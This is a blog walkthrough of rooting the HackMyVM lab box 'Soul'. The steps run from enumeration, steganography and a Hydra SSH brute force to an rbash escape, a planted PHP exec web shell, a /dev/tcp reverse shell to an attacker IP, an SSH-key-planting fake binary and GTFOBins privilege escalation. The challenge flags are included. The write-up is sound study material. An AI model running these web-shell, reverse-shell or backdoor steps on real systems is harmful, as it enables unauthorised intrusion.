HackMyVM | Soul

In this walkthrough, I demonstrate how I obtained complete ownership of Soul from HackMyVM
In: HackMyVM, Attack, CTF, Home Lab, Linux, Hard Challenge
ℹ️
I keep all of my distrusted hosts from platforms like HackMyVM on a segmented VLAN -- 10.9.9.0/24 -- that has no internet access

Nmap Results

# Nmap 7.95 scan initiated Thu Dec  4 16:26:59 2025 as: /usr/lib/nmap/nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.9.9.21
Nmap scan report for 10.9.9.21
Host is up (0.00071s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 8a:e9:c1:c2:a3:44:40:26:6f:22:37:c3:fe:a1:19:f2 (RSA)
|   256 4f:4a:d6:47:1a:87:7e:69:86:7f:5e:11:5c:4f:f1:48 (ECDSA)
|_  256 46:f4:2c:28:53:ef:4c:2b:70:f8:99:7e:39:64:ec:07 (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Dec  4 16:27:12 2025 -- 1 IP address (1 host up) scanned in 12.82 seconds
echo -e '10.9.9.21\t\tsoul.hmv' | sudo tee -a /etc/hosts

Add and entry to hosts file for convenience





Service Enumeration

TCP/80

Penetration Testing

ℹ️
Since this is a direct CTF challenge and less of a simulated web application, I'll just skip straight to the penetration testing phase (as opposed to the preliminary walking of the application).

Initial Enumeration

Nothing interesting in the page source
One entry in "robots.txt", may actually be nothing...
It is actually nothing
Nothing interesting in HTTP response headers



Directory and File Enumeration

gobuster dir -u http://soul.hmv -w /usr/share/seclists/Discovery/Web-Content/big.txt -x html,txt,php -t 100 -o dir.txt

Nothing interesting, try another word list

gobuster dir -u http://soul.hmv -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x html,txt,php -t 100 -o dir.txt

Still nothing...

🚨
Despite my best efforts, I'm not coming up with anything, so my next best guess is this being a steganalysis challenge.



Image Steganlysis

curl -O http://soul.hmv/saint.jpg
sudo apt install -y steghide
steghide -sf saint.jpg
Hit "Enter" when prompted for password



TCP/22

Brute Force with Hydra

cat << EOF > usernames.txt
daniel
saint
nothing
soul
EOF

The "saint.jpg" painting depicts Daniel in the Lions Den, so I'm adding that as a potential user

hydra -I -f -V -L usernames.txt -p 'lionsarebigcats' ssh://soul.hmv





Exploit

SSH as Daniel

ssh daniel@soul.hmv





Post-Exploit Enumeration

Operating Environment

OS & Kernel

PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"

Linux soul 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64 GNU/Linux

Current User

uid=1000(daniel) gid=1000(daniel) groups=1000(daniel),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)

Sorry, user daniel may not run sudo on soul.



Users and Groups

Local Users

gabriel:x:1001:1001:,,,:/home/gabriel:/bin/bash
peter:x:1002:1002:,,,:/home/peter:/bin/bash

Local Groups

cdrom:x:24:daniel
floppy:x:25:daniel
audio:x:29:daniel
dip:x:30:daniel
video:x:44:daniel
plugdev:x:46:daniel
netdev:x:109:daniel
daniel:x:1000:
gabriel:x:1001:
peter:x:1002:



Network Configurations

Network Interfaces

ens18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether bc:24:11:bd:1e:96 brd ff:ff:ff:ff:ff:ff
    inet 10.9.9.21/24 brd 10.9.9.255 scope global dynamic ens18
       valid_lft 4301sec preferred_lft 4301sec
    inet6 fe80::be24:11ff:febd:1e96/64 scope link 
       valid_lft forever preferred_lft forever 





Privilege Escalation

Rbash Breakout

Shell Scripting - Restricted Shell - GeeksforGeeks
Your All-in-One Learning Portal: GeeksforGeeks is a comprehensive educational platform that empowers learners across domains-spanning computer science and programming, school education, upskilling, commerce, software tools, competitive exams, and more.

Overview of how rbash restricts users

which python3

Since python3 resolves using the which command, that means it's in the $PATH variable and we can run it without having to use absolute paths (e.g. /use/bin/python3), since that would be restricted by rbash. We can use the Python module os module to spawn a bash TTY.

python3 -c 'import os;os.system("/bin/bash -ip")'
Before and After when trying to TAB-complete
💡
I got stuck here for a good bit, looking for SUID files, interesting processes, sockets, Linux capabilities, etc. I was coming up short, but had a breakthrough with the commands below...
find / \( -user peter -o -user gabriel -o -group peter -o -group gabriel \) -readable -ls 2>/dev/null

I checked /proc/312/cmdline, but this file was not found. Referencing my notes here, I want to see if this file has any TCP sockets open, so we look at /proc/312/net/tcp.

cat /proc/312/net/tcp | tail -n +2 | while read line; do local_hex=$(echo $line | cut -d ' ' -f 2 | cut -d ':' -f 1); local_port=$(echo $line | cut -d ' ' -f 2 | cut -d ':' -f 2); remote_hex=$(echo $line | cut -d ' ' -f 3 | cut -d ':' -f 1); remote_port=$(echo $line | cut -d ' ' -f 3 | cut -d ':' -f 2); state=$(echo $line | cut -d ' ' -f 4); local_ip=$(printf "%d.%d.%d.%d" 0x${local_hex:6:2} 0x${local_hex:4:2} 0x${local_hex:2:2} 0x${local_hex:0:2}); remote_ip=$(printf "%d.%d.%d.%d" 0x${remote_hex:6:2} 0x${remote_hex:4:2} 0x${remote_hex:2:2} 0x${remote_hex:0:2}); state_str=$(case $state in 01) echo "ESTABLISHED";; 02) echo "SYN_SENT";; 03) echo "SYN_RECV";; 04) echo "FIN_WAIT1";; 05) echo "FIN_WAIT2";; 06) echo "TIME_WAIT";; 07) echo "CLOSE";; 08) echo "CLOSE_WAIT";; 09) echo "LAST_ACK";; 0A) echo "LISTEN";; 0B) echo "CLOSING";; 0C) echo "NEW_SYN_RECV";; *) echo "UNKNOWN";; esac); echo "Source: $local_ip:$((16#$local_port)) -> Destination: $remote_ip:$((16#$remote_port)), State: $state_str"; done
We can see this process has "tcp/80" and "tcp/22" open
💡
At this point, I also ran pspy to see what else I could see...
The Nginx server seems to have the PHP engine enabled...
Filter out comments and empty lines... We can see the "lonelysoul.hmv" host is PHP-enabled
find /var/www/html -writable 2>/dev/null
We can write to "/var/www/html", so we can try pivoting to the web service...



Lateral to www-data

sudo sed -i 's/soul\.hmv/soul.hmv lonelysoul.hmv/g' /etc/hosts

Change the record from "soul.hmv" to "soul.hmv lonelysoul.hmv" in Kali hosts file

echo '<?php exec($_GET['"'"'c'"'"']); ?>'  > /var/www/html/sh.php

Create a simple PHP exec shell in the writable directory

sudo tcpdump -ni eth0 icmp

Listen for ICMP (ping)

curl -G 'http://lonelysoul.hmv/sh.php' --data-urlencode 'c=ping -c 3 10.6.6.6'

Test the simple PHP exec with a ping test

Ping test succeeded!
sudo rlwrap nc -lnvp 80

Start TCP listener to catch a reverse shell

curl -G 'http://lonelysoul.hmv/sh.php' --data-urlencode 'c=/bin/bash -c '"'"'/bin/bash -i >& /dev/tcp/10.6.6.6/80 0>&1'"'"''
Check to see if account has "sudo" permissions, kind of unrealistic



Lateral to Gabriel

Sudo Abuse

The www-data account can run sudo -u gabriel /tmp/whoami, which makes for very simple lateral movement.

  • /tmp is world-writable
  • So, we can make whoami whatever we want
ℹ️
We're going to make this as simple as possible by using a script that will add a SSH public key to /home/gabriel/.ssh/authorized_keys and make the private key readable to daniel.
Some commands will be run as daniel, so pay attention to details
nano /tmp/whoami

Run as "daniel" create the fake binary

#! /usr/bin/env bash

function main () {

  local dir='/home/gabriel'
  local ssh_dir="${dir}/.ssh"
  local auth_keys="${ssh_dir}/authorized_keys"
  local keyfile="/tmp/gabriel_key"
  
  if ! [ -d "$ssh_dir" ] ; then
    mkdir "$ssh_dir"
  fi

  if [ -f "$keyfile" ] || [ -f "${keyfile}.pub" ] ; then
    rm -f "$keyfile" > /dev/null 2>&1
    rm -f "${keyfile}.pub" > /dev/null 2>&1
  fi
  
  ssh-keygen -t rsa -b 4096 -f "$keyfile" -C "" -N ""
  cat "${keyfile}.pub" >> "$auth_keys"
  cat "$keyfile"
  echo -e "\nPaste this private key to a file and run:"
  echo "ssh -i gabriel_key gabriel@soul.hmv"

}

main

/tmp/whoami

chmod +x /tmp/whoami

Make it executable

sudo -u gabriel /tmp/whoami

Run as www-data



Lateral to Gabriel

Looks the next pivot is to "peter" via "sudo -u peter"



Lateral to Peter

hping3 | GTFOBins
💡
The hping3 binary -- much like nmap -- has an interactive command line whereby we can execute arbitrary binaries, including /bin/sh or /bin/bash.
sudo -u peter /usr/sbin/hping3

Start the interactive CLI

find / -path /proc -prune -o -path /sys -prune -o -type f -writable -ls 2>/dev/null
"/usr/sbin/agetty" is owned by "root" and has SUID set



Becoming Root

agetty | GTFOBins
/usr/sbin/agetty -o -p -l /bin/sh -a root tty



Flags

User

HMViwazhere

Root

HMVohmygod
Comments
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.